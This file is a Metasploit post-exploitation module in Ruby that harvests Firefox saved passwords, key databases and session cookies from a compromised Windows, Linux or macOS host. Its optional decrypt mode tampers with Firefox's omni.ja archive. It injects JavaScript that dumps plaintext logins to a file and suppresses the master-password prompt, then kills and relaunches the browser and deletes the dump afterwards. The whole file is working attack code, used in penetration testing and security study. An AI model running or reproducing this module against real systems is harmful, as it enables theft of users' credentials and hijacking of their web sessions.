##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'zip/zip'
require 'tmpdir'
require 'msf/core/post/file'
require 'msf/core/post/common'
require 'msf/core/auxiliary/report'
require 'msf/core/post/windows/user_profiles'

class Metasploit3 < Msf::Post

	include Msf::Post::File
	include Msf::Post::Common
	include Msf::Auxiliary::Report
	include Msf::Post::Windows::UserProfiles

	def initialize(info={})
		super( update_info(info,
			'Name'           => 'Multi Gather Firefox Signon Credential Collection',
			'Description'    => %q{
					This module will collect credentials from the Firefox web browser if it is
				installed on the targeted machine. Additionally, cookies are downloaded. Which
				could potentially yield valid web sessions.

				Firefox stores passwords within the signons.sqlite database file. There is also a
				keys3.db file which contains the key for decrypting these passwords. In cases where
				a Master Password has not been set, the passwords can easily be decrypted using
				third party tools or by setting the DECRYPT option to true. Using the latter often
				needs root privileges. If a Master Password was used the only option would be
				to bruteforce.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
						'bannedit',
						'xard4s' # added decryption support
				],
			'Platform'       => ['win', 'linux', 'bsd', 'unix', 'osx'],
			'SessionTypes'   => ['meterpreter', 'shell' ]
		))

		register_options(
			[
				OptBool.new('DECRYPT', [false, 'Decrypts passwords without third party tools', false])
			]
		)
		#TODO
		# - Collect cookies.
	end

	def run
		print_status("Determining session platform and type...")
		case session.platform
		when /unix|linux|bsd/
			@platform = :unix
		when /osx/
			@platform = :osx
		when /win/
			if session.type != "meterpreter"
				print_error "Only meterpreter sessions are supported on windows hosts"
				return
			end
			@platform = :windows
		else
			print_error("Unsupported platform #{session.platform}")
			return
		end

		if datastore['DECRYPT']
			omnija = nil
			org_file = 'omni.ja'
			new_file = Rex::Text::rand_text_alpha(5 + rand(3)) + ".ja"

			# sets @paths
			return unless get_ff_and_loot_path

			print_status("Downloading #{org_file} from #{@paths['ff']}")
			omnija = read_file(@paths['ff']+org_file)
			if omnija.nil? or omnija.empty? or omnija =~ /No such file/i
				print_error("Could not download #{org_file}, archive may not exist")
				return
			end
			# cross platform local tempdir, "/" should work on windows too
			tmp = Dir::tmpdir + "/" + new_file
			print_status("Writing #{org_file} to local file: #{tmp}")
			file_local_write(tmp, omnija)
			res = nil
			print_status("Extracting and modifying #{new_file}...")
			begin
				# automatically commits the changes made to the zip archive when
				# the block terminates
				Zip::ZipFile.open(tmp) do |zip_file|
					res = modify_omnija(zip_file)
				end
			rescue Zip::ZipError => e
				print_error("Error modifying #{new_file}")
				return
			end
			if res
				print_status("Successfully modified #{new_file}")
			else
				print_error("Failed to patch method")
				return
			end
			print_status("Uploading #{new_file} to #{@paths['ff']}")
			if not upload_file(@paths['ff']+new_file, tmp)
				print_error("Could not upload #{new_file}")
				return
			end

			return if not trigger_decrypt(org_file, new_file)

			download_creds
		else
			paths = []
			if @platform =~ /unix|osx/
				paths = enum_users_unix
			else # windows
				grab_user_profiles().each do |user|
					next if user['AppData'] == nil
					dir = check_firefox(user['AppData'])
					if dir
					paths << dir
					end
				end
			end

			if paths.nil?
				print_error("No users found with a Firefox directory")
				return
			end

			download_loot(paths.flatten)

		end

	end

	def enum_users_unix
		id = whoami
		if id.nil? or id.empty?
			print_error("This session is not responding, perhaps the session is dead")
		end

		if @platform == :osx
			home = "/Users/"
		else
			home = "/home/"
		end

		if got_root?
			userdirs = session.shell_command("ls #{home}").gsub(/\s/, "\n")
			userdirs << "/root\n"
		else
			print_status("We do not have root privileges")
			print_status("Checking #{id} account for Firefox")
			if @platform == :osx
				firefox = session.shell_command("ls #{home}#{id}/Library/Application\\ Support/Firefox/Profiles/").gsub(/\s/, "\n")
			else
				firefox = session.shell_command("ls #{home}#{id}/.mozilla/firefox/").gsub(/\s/, "\n")
			end

			firefox.each_line do |profile|
				profile.chomp!
				next if profile =~ /No such file/i

				if profile =~ /\.default/
						print_status("Found Firefox Profile for: #{id}")
						if @platform == :osx
							return [home + id + "/Library/Application\\ Support/Firefox/Profiles/" + profile + "/"]
						else
							return [home + id + "/.mozilla/" + "firefox/" + profile + "/"]
						end
				end
			end
			return
		end

		# we got root check all user dirs
		paths = []
		userdirs.each_line do |dir|
			dir.chomp!
			next if dir == "." || dir == ".."

			dir = home + dir + "/.mozilla/firefox/" if dir !~ /root/
			if dir =~ /root/
				dir += "/.mozilla/firefox/"
			end

			print_status("Checking for Firefox Profile in: #{dir}")

			stat = session.shell_command("ls #{dir}")
			if stat =~ /No such file/i
				print_error("Mozilla not found in #{dir}")
				next
			end
			stat.gsub!(/\s/, "\n")
			stat.each_line do |profile|
				profile.chomp!
				if profile =~ /\.default/
					print_status("Found Firefox Profile in: #{dir+profile}")
					paths << "#{dir+profile}"
				end
			end
		end
		return paths
	end

	def check_firefox(path)
		paths = []
		path = path + "\\Mozilla\\"
		print_status("Checking for Firefox directory in: #{path}")

		stat = session.fs.file.stat(path + "Firefox\\profiles.ini") rescue nil
		if !stat
			print_error("Firefox not found")
			return
		end

		session.fs.dir.foreach(path) do |fdir|
			if fdir =~ /Firefox/i and @platform == :windows
				paths << path + fdir + "Profiles\\"
				print_good("Found Firefox installed")
				break
			else
				paths << path + fdir
				print_status("Found Firefox installed")
				break
			end
		end

		if paths.empty?
			print_error("Firefox not found")
			return
		end

		print_status("Locating Firefox Profiles...")
		print_line("")
		path += "Firefox\\Profiles\\"

		# we should only have profiles in the Profiles directory store them all
		begin
			session.fs.dir.foreach(path) do |pdirs|
				next if pdirs == "." or pdirs == ".."
				print_good("Found Profile #{pdirs}")
				paths << path + pdirs
			end
		rescue
			print_error("Profiles directory missing")
			return
		end

		if paths.empty?
			return nil
		else
			return paths
		end
	end

	# checks for needed privileges and wheter Firefox is installed
	def get_ff_and_loot_path
		@paths = {}
		check_paths = []
		drive = expand_path("%SystemDrive%")
		loot_file = Rex::Text::rand_text_alpha(6) + ".txt"

		case @platform
		when /win/
			if !got_root? and session.sys.config.sysinfo['OS'] !~ /xp/i
				print_error("You need root privileges on this platform for DECRYPT option")
				return false
			end
			tmpdir = expand_path("%TEMP%") + "\\"
			# this way allows for more independent use of meterpreter
			# payload (32 and 64 bit) and cleaner code
			check_paths << drive + '\\Program Files\\Mozilla Firefox\\'
			check_paths << drive + '\\Program Files (x86)\\Mozilla Firefox\\'

		when /unix/
			tmpdir = '/tmp/'
			if cmd_exec("whoami").chomp !~ /root/
				print_error("You need root privileges on this platform for DECRYPT option")
				return false
			end
			# unix matches linux|unix|bsd but bsd is not supported
			if session.platform =~ /bsd/
				print_error("Sorry, bsd is not supported by the DECRYPT option")
				return false
			end

			check_paths << '/usr/lib/firefox/'
			check_paths << '/usr/lib64/firefox/'

		when /osx/
			tmpdir = '/tmp/'
			check_paths << '/applications/firefox.app/contents/macos/'
		end

		@paths['ff'] = check_paths.find do |p|
			check = p.sub(/(\\|\/)(mozilla\s)?firefox.*/i, '')
			print_status("Checking for Firefox directory in: #{check}")
			if directory?(p.sub(/(\\|\/)$/, ''))
				print_good("Found Firefox directory")
				true
			else
				print_error("No Firefox directory found")
				false
			end
		end

		return false if @paths['ff'].nil?

		@paths['loot'] = tmpdir + loot_file
		return true

	end

	def modify_omnija(zip)
		files = [
								'components/storage-mozStorage.js',
								'chrome/toolkit/content/passwordmgr/passwordManager.xul',
								'chrome/toolkit/content/global/commonDialog.xul',
								'jsloader/resource/gre/components/storage-mozStorage.js'
						]

		arya = files.map do |file|
			fdata = {}
			fdata['content'] = zip.read(file) unless file =~ /jsloader/
			fdata['outs'] = zip.get_output_stream(file)
			fdata
		end

		stor_js, pwd_xul, dlog_xul, res_js = arya
		stor_js['outs_res'] = res_js['outs']

		wnd_close = "window.close();"
		onload = "Startup(); SignonsStartup(); #{wnd_close}"

		# get rid of (possible) master password prompt and close pwd
		# manager immediately
		dlog_xul['content'].sub!(/commonDialogOnLoad\(\)/, wnd_close)
		dlog_xul['outs'].write(dlog_xul['content'])
		dlog_xul['outs'].close

		pwd_xul['content'].sub!(/Startup\(\); SignonsStartup\(\);/, onload)
		pwd_xul['outs'].write(pwd_xul['content'])
		pwd_xul['outs'].close

		# returns true or false
		return patch_method(stor_js)

	end

	# Patches getAllLogins() method from storage-mozStorage.js
	def patch_method(stor_js)
		data = ""
		# imports needed for IO
		imports = %Q|
		Components.utils.import("resource://gre/modules/NetUtil.jsm");
		Components.utils.import("resource://gre/modules/FileUtils.jsm");
		Components.utils.import("resource://gre/modules/XPCOMUtils.jsm");
		|

		# Javascript code to intercept the logins array and write the
		# credentials to a file
		method_epilog = %Q|
		var data = "";
		var path = "#{@paths['loot'].inspect.gsub(/"/, '')}";
		var file = new FileUtils.File(path);

		var outstream = FileUtils.openSafeFileOutputStream(file);
		var converter = Components.classes["@mozilla.org/intl/scriptableunicodeconverter"].
			createInstance(Components.interfaces.nsIScriptableUnicodeConverter);
		converter.charset = "UTF-8";

		if (logins.length != 0) {
			for (var i = 0; i < logins.length; i++) {

			data += logins[i].hostname + " :: " + logins[i].username + " :: " + logins[i].password + " ^";

			}

		} else {
			data = "no creds";
		}

		var istream = converter.convertToInputStream(data);
		NetUtil.asyncCopy(istream, outstream);

		return logins;
		|

		regex = [
								nil,
								[/return\slogins;/, method_epilog],
								[/getAllLogins\s:\sfunction\s\(count\)\s{/, nil],
								[/Components\.utils\.import\("resource:\/\/gre\/modules\/XPCOMUtils\.jsm"\);/, imports]
						]

		# match three regular expressions
		i = 3
		stor_js['content'].each_line do |line|
				# there is no real substitution if the matching regex
				# has no corresponding patch code
				if i != 0 and line.sub!(regex[i][0]) do |match|
							if not regex[i][1].nil?
								regex[i][1]
							else
								line
							end
						end
					i -= 1
				end

			data << line

		end

		# write the same data to both output streams
		stor_js['outs'].write(data)
		stor_js['outs_res'].write(data)
		stor_js['outs'].close
		stor_js['outs_res'].close

		i == 0 ? 'return true' : 'return false'

	end

	# Starts a new firefox process and triggers decryption
	def trigger_decrypt(org_file, new_file)
		temp_file = "orgomni.ja"
		[org_file, new_file, temp_file].each do |f|
			f.insert(0, @paths['ff'])
		end
		# firefox command line arguments
		args = '-purgecaches -chrome chrome://passwordmgr/content/passwordManager.xul'

		# In case of unix-like platform Firefox needs to start under user
		# context
		if @platform =~ /unix/

			# assuming userdir /home/(x) = user
			print_status("Enumerating users...")
			users = cmd_exec("ls /home")
			if users.nil? or users.empty?
				print_error("No normal user found")
				return false
			end
			user = users.split()[0]
			# Since we can't access the display environment variable
			# we have to assume the default value
			args.insert(0, "\"#{@paths['ff']}firefox --display=:0 ")
			args << "\""
			cmd = "su #{user} -c"

		elsif @platform =~ /win|osx/

			cmd = @paths['ff'] + "firefox"
			# on osx, run in background
			args << "& sleep 5 && killall firefox" if @platform =~ /osx/
		end

		# check if firefox is running and kill it
		if session.type == "meterpreter"
			session.sys.process.each_process do |p|
				if p['name'] =~ /firefox\.exe/
					print_status("Found running Firefox process, attempting to kill.")
					if not session.sys.process.kill(p['pid'])
						print_error("Could not kill Firefox process")
						return false
					end
				end
			end

		elsif session.type != "meterpreter"
			p = cmd_exec("ps", "cax | grep firefox")
			if p =~ /firefox/
				print_status("Found running Firefox process, attempting to kill.")
				term = cmd_exec("killall", "firefox && echo true")
				if not term =~ /true/
					print_error("Could not kill Firefox process")
					return false
				end
			end
		end
		#
		# rename-fu
		# omni.ja -> orgomni.ja
		# *random*.ja -> omni.ja
		# omni.ja -> *random*.ja
		# orgomni.ja -> omni.ja
		#
		rename_file(org_file, temp_file)
		rename_file(new_file, org_file)

		# automatic termination ( window.close() or arguments)
		print_status("Starting Firefox process")
		cmd_exec(cmd,args)

		rename_file(org_file, new_file)
		rename_file(temp_file, org_file)

		# clean up
		file_rm(new_file)

		# at this time it should have a loot file
		if !file?(@paths['loot'])
			print_error("Decryption failed, there's probably a master password in use")
			return false
		end

		return true

	end

	def download_loot(paths)
		loot = ""
		paths.each do |path|
			print_status(path)
			profile = path.scan(/Profiles[\\|\/](.+)$/).flatten[0].to_s
			if session.type == "meterpreter"
				session.fs.dir.foreach(path) do |file|
					if file =~ /key\d\.db/ or file =~ /signons/i or file =~ /cookies\.sqlite/
						print_good("Downloading #{file} file from: #{path}")
						file = path + "\\" + file
						fd = session.fs.file.new(file)
						begin
							until fd.eof?
								data = fd.read
								loot << data if not data.nil?
							end
						rescue EOFError
						ensure
							fd.close
						end

						ext = file.split('.')[2]
						if ext == "txt"
							mime = "plain"
						else
							mime = "binary"
						end
						file = file.split('\\').last
						store_loot("ff.profile.#{file}", "#{mime}/#{ext}", session, loot, "firefox_#{file}", "#{file} for #{profile}")
					end
				end
			end
			if session.type != "meterpreter"
				files = session.shell_command("ls #{path}").gsub(/\s/, "\n")
				files.each_line do |file|
					file.chomp!
					if file =~ /key\d\.db/ or file =~ /signons/i or file =~ /cookies\.sqlite/
						print_good("Downloading #{file}\\")
						data = session.shell_command("cat #{path}#{file}")
						ext = file.split('.')[2]
						if ext == "txt"
							mime = "plain"
						else
							mime = "binary"
						end
						file = file.split('/').last
						store_loot("ff.profile.#{file}", "#{mime}/#{ext}", session, loot, "firefox_#{file}", "#{file} for #{profile}")
					end
				end
			end
		end
	end

	def download_creds
		print_good("Downloading loot: #{@paths['loot']}")
		loot = read_file(@paths['loot'])

		if loot =~ /no creds/
			print_status("No Firefox credentials where found")
			return
		end

		cred_table = Rex::Ui::Text::Table.new(
			'Header' => 'Firefox credentials',
			'Indent' => 1,
			'Columns'=>
				[
					'Hostname',
					'User',
					'Password'
				]
		)

		creds = loot.split("^")
		creds.each do |cred|
			hostname, user, pass = cred.rstrip.split(" :: ")
			cred_table << [hostname, user, pass]
		end

		print_line("\n" + cred_table.to_s)

		path = store_loot(
				"firefox.creds",
				"text/plain",
				session,
				cred_table.to_csv,
				"firefox_credentials.txt",
				"Firefox Credentials")

		# better delete the remote creds file
		file_rm(@paths['loot'])

	end

	def got_root?
		case @platform
		when :windows
			if session.sys.config.getuid =~ /SYSTEM/
				return true
			else
				return false
			end
		else # unix, bsd, linux, osx
			ret = whoami
			if ret =~ /root/
				return true
			else
				return false
			end
		end
	end

	def whoami
		if @platform == :windows
			return session.fs.file.expand_path("%USERNAME%")
		else
			return session.shell_command("whoami").chomp
		end
	end
end
